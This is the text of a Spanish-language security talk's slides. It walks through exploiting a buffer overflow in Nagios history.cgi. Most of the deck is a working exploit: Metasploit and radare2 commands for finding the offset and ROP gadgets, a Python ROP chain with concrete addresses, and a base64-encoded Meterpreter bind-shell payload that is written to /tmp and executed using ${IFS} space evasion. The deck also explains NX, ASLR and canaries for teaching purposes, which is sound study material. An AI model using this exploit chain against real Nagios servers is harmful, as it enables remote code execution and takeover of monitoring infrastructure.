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¿Lo más frustrante del mundo?



Algo casi tan frustrante…

El sistema, según su versión, ES vulnerable. Sabemos 
que no está “backported”. 

Sin embargo, el exploit no funciona…
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La vulnerabilidad
Publicada en: http://lists.grok.org.uk/pipermail/full-
disclosure/2012-December/089125.html  

“history.cgi is vulnerable to a buffer overflow due to the 
use of sprintf with user supplied data that has not been 
restricted in size. This vulnerability does not appear to 
be exploitable on the majority of systems (due to stack 
cookies, the NX bit, etc).” 

http://server/nagios/cgi-bin/history.cgi?
host=AAAAAAAAAAAAAAAAAAA…

http://lists.grok.org.uk/pipermail/full-disclosure/2012-December/089125.html
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El exploit público

Programado por @bl4sty: https://twitter.com/bl4sty  

Colgado en Pastebin: http://pastebin.com/FJUNyTaj 

https://twitter.com/bl4sty
http://pastebin.com/FJUNyTaj


Buffer Overflow



Buffer Overflow

CMD: Comando a ejecutar 

A’s: Suficientes para sobreescribir “Return Address” 

ROP: Para ejecutar el CMD



Creando el CMD

echo BASE64ENCODE | base 64 -d | tee /tmp/x 

chmod +x /tmp/x ; /tmp/x 

sed ’s/ /${IFS}/g’



Shellcode



Buffer Overflow

CMD: Comando a ejecutar 

A’s: Suficientes para sobreescribir “Return Address” 

ROP: Para ejecutar el CMD



¿Qué es ROP?
Return Oriented 
Programming (ROP). 

Evolución / Inspirado en 
return-to-libc. 

Usado para evadir la 
protección de pila no 
ejecutable (NX).



¿Qué es NX?
Si nuestro shellcode se 
encuentra en una página no 
ejecutable, no podremos 
saltar a él.

Non-eXecution Bit. 

Marca páginas de la 
memoria como no 
ejecutables.



ROP en nuestro exploit



ROP en nuestro exploit



¿Qué es ASLR?
Address Space Layer 
Randomization. 

Las librerías se cargan en 
zonas de memoria 
“aleatorias”. 

Dificultan encontrar 
“gadgets” para formar un 
ROP.

system()

    int system() 
    { 
            […] 
    }

AAAAAA 
AAAAAA 
AAAAAA 
AAAAAA 
AAAAAA 
AAAAAA



Evadiendo NX y ASLR
En ocasiones, alguna librería u otro elemento presente 
en la memoria no se encuentra compilado con soporte 
para ASLR y puede permitirnos utilizarlo para buscar 
gadgets. 

El propio cuerpo del binario puede no estar compilado 
con PIE (Process Independent Execution), con lo que 
su posición en la memoria será siempre la misma. 

En este caso, los CGI de Nagios no se encuentran 
compilados de esta forma, por lo que vamos a poder 
utilizarlos.



¿Qué es PLT / GOT?

Procedure Linkage Table 
(PLT) 

Global Offset Table (GOT) 

Sin PIE, expone algunas 
funciones en direcciones 
estáticas.



Nuestro ROP en acción

system()
0xdeafbabe

unescape()
0x popret

var hostbuf

var hostbuf



Nuestro ROP en acción

system()
0xdeafbabe

0x popret

var hostbuf

var hostbuf

unescape(hostbuf)



Nuestro ROP en acción

system()
0xdeafbabe
var hostbuf

unescape(hostbuf)



Nuestro ROP en acción

0xdeafbabe
var hostbuf

unescape(hostbuf)

system(hostbuf)



Nuestro ROP en acción

var hostbuf

unescape(hostbuf)

system(hostbuf)

0xdeafbabe()



Lanzando el exploit



DEMO



¿Por qué no funciona?
La compilación del binario puede ser diferente y por lo 
tanto las posiciones de memoria que hemos utilizado 
para el ROP y la separación entre el Buffer y la “Return 
Address” puede ser diferentes. 

!

Necesitamos analizar el binario del nuevo sistema para 
poder localizar los gadgets adecuados y poder adaptar 
el exploit a esta nuevo objetivo.
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(no) Depurando un CGI
$ /usr/local/nagios/sbin/history.cgi 
getcgivars(): Unsupported REQUEST_METHOD -> '' 
!
I'm guessing you're trying to execute the CGI from a command 
line. 
In order to do that, you need to set the REQUEST_METHOD 
environment variable to either "GET", "HEAD", or "POST".  
When using the GET and HEAD methods, arguments can be passed 
to the CGI by setting the "QUERY_STRING" environment 
variable.  If you’re using the POST method, data is read from 
standard input.  Also of note: if you've enabled 
authentication in the CGIs, you must set the “REMOTE_USER" 
environment variable to be the name of the user you’re 
"authenticated" as.



¿Cómo funciona un CGI?
APACHE CGICLIENT

Request

Response
Response

Run CGI
Pass CGI Env



Depurando un CGI
$ export REMOTE_USER='nagiosadmin' 
$ export REQUEST_METHOD='GET' 
$ export QUERY_STRING="host=foo" 
!
$ /usr/local/nagios/sbin/history.cgi 
Cache-Control: no-store 
Pragma: no-cache 
Last-Modified: Mon, 20 Jan 2014 19:16:51 GMT 
Expires: Thu, 01 Jan 1970 00:00:00 GMT 
Content-type: text/html 
!
<html> 
<head><title>CGI TEST</title></head> 
<body> 
HELLO WORLD! 
</body> 
</html> 
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Controlando el EIP
$ /opt/msf4/tools/pattern_create.rb 4000 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa[…]Fc8Fc9Fd0Fd1Fd2F 
!
$ export REMOTE_USER=‘nagiosadmin' 
$ export REQUEST_METHOD=‘GET' 
$ export QUERY_STRING="host=`pattern_create.rb 4000`” 
!
$ gdb /usr/local/nagios/sbin/history.cgi 
(gdb) run 
Starting program: /usr/local/nagios/sbin/history.cgi 
Program received signal SIGSEGV, Segmentation fault. 
0x61453661 in ?? () 
!

0x61 (a) 0x36 (6) 0x45 (E) 0x61 (a) 
!
$ /opt/msf4/tools/pattern_offset.rb a6Ea 4000 
[*] Exact match at offset 3139



-D_FORTIFY_SOURCE=2
$ export REMOTE_USER=‘nagiosadmin' 
$ export REQUEST_METHOD=‘GET' 
$ export QUERY_STRING="host=`python -c \"print 'A'*4000\"`” 
!
$ ./history-fortify.cgi 
*** buffer overflow detected ***: ./history-fortify.cgi 
======= Backtrace: ========= 
/lib/libc.so.6(__fortify_fail+0x4d)[0x4e57ad] 
/lib/libc.so.6(+0xfa7ea)[0x4e37ea] 
/lib/libc.so.6(+0xf9f18)[0x4e2f18] 
/lib/libc.so.6(_IO_default_xsputn+0x13c)[0x457f4c] 
/lib/libc.so.6(_IO_vfprintf+0x4048)[0x42daa8] 
/lib/libc.so.6(__vsprintf_chk+0xa7)[0x4e2fc7] 
/lib/libc.so.6(__sprintf_chk+0x2d)[0x4e2f0d] 
./history-fortify.cgi[0x804a177] 
./history-fortify.cgi[0x804ae44] 
/lib/libc.so.6(__libc_start_main+0xe6)[0x3ffce6] 
./history-fortify.cgi[0x8048fc1] 
======= Memory map: ======== 
[…]



Stack Canary
Protección contra 
desbordamientos de buffer. 

Añadida en tiempo de 
compilación si se emplean 
las opciones oportunas. 

Valor aleatorio situado en la 
pila, antes del EIP. 

Se comprueba su integridad.



Canary en CGI
$ ./canary.bin 
Canary(0): 0xbfa3ce10 
Canary(1): 0xbfa3ce10 
Canary(2): 0xbfa3ce10 
[…] 
!
$ ./canary.bin 
Canary(0): 0xbfcfbcb0 
Canary(1): 0xbfcfbcb0 
Canary(2): 0xbfcfbcb0 
[…]



Canary en CGI
$ ./canary.bin 
Canary(0): 0xbfa3ce10 
Canary(1): 0xbfa3ce10 
Canary(2): 0xbfa3ce10 
[…] 
!
$ ./canary.bin 
Canary(0): 0xbfcfbcb0 
Canary(1): 0xbfcfbcb0 
Canary(2): 0xbfcfbcb0 
[…]



DEMO
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Buscando system/exit PLT

$ rabin2 -i history.cgi 
[Imports] 
[…] 
addr=0x08048bb0 off=0x00000bb0 ordinal=016 
hint=000 bind=GLOBAL type=FUNC name=system 
[…] 
addr=0x08048e70 off=0x00000e70 ordinal=060 
hint=000 bind=GLOBAL type=FUNC name=exit 
60 imports

system()
exit()

unescape()
0x popret

var hostbuf

var hostbuf



Buscando Pop-Ret

$ /opt/msf4/msfelfscan -p history.cgi 
0x08048f03 pop ebx; pop ebp; ret 
0x0804936b pop edi; pop ebp; ret 
0x08049ca6 pop edi; pop ebp; ret 
0x0804a6d4 pop edi; pop ebp; ret 
[…] 
!
$ rasm2 -a x86 -b 32 'pop ebx' 
5b

system()
exit()

unescape()
0x popret

var hostbuf

var hostbuf



Buscando HostBuffer
$ export REMOTE_USER=‘nagiosadmin' 
$ export REQUEST_METHOD='GET' 
$ export QUERY_STRING="host=`python -c 
\"print ‘A'*4000\"`" 
!
$ r2 -d history.cgi 
Process with PID 9270 started… 
[0x00214850]> dc 
[R2] Breakpoint recoil at 0x41414141 = 0 
[0x41414140]> s 0 
[0x00000000]> /x 414141414141414141414141 
hits: 400 
0x08079b60 hit0_0 414141414141414141414141 
[…]

system()
exit()

unescape()
0x popret

var hostbuf

var hostbuf



DEMO



Buscando Unescape

system()
exit()

unescape()
0x popret

var hostbuf

var hostbuf



Buscando Unescape

system()
exit()

unescape()
0x popret

var hostbuf

var hostbuf
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Ejecutando un Ping
#!/usr/bin/python 
stackspace=0xc43 
cmd="ping -c5 127.0.0.1;" 
cmd = cmd.replace(" ", “${IFS}") 
!
unescape_addr='\x60\xc2\x04\x08'  # 0x0804c260 
popret_addr='\x04\x8f\x04\x08'  # 0x08048f04 
hostbuf_addr='\x60\x9b\x07\x08'  # 0x08079b60 
system_plt_addr='\xb0\x8b\x04\x08' # 0x08048bb0 
exit_addr='\x70\x8e\x04\x08'   # 0x08048e70 
rop_chain = unescape_addr+popret_addr+hostbuf_addr
+system_plt_addr+exit_addr+hostbuf_addr 
!
stackspace=stackspace-len(cmd) 
exploit=cmd+'A'*stackspace+rop_chain

$ export QUERY_STRING="host=`python exploit.py`"



DEMO



Ejecutando Shell

#!/usr/bin/python 
# Meterpreter Linux x86 BindTcp 4444 
msf_payload=“f0VMRgEBAQAAAAAAAAAAAAI[…]Aid//4Q==“ 
cmd="echo "+msf_payload+"|base64 -d|tee /tmp/
aaa;chmod +x /tmp/aaa;/tmp/aaa;" 
cmd = cmd.replace(" ", “${IFS}") 
[…]

$ msfpayload linux/x86/meterpreter/bind_tcp RHOST=127.0.0.1 X 
| base64

msf> use exploit/multi/handler 
msf> set PAYLOAD linux/x86/meterpreter/bind_tcp 
msf> set RHOST 127.0.0.1 
msf> exploit 
!
[*] Meterpreter session 1 opened (127.0.0.1:56602 -> 
127.0.0.1:4444) at 2014-01-20 20:38:50 +0000 
meterpreter>



Explotación en remoto



Explotación en remoto



DEMO
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Jose Selvi 
http://twitter.com/JoseSelvi
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http://www.pentester.es
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¡Gracias! ¿Preguntas?


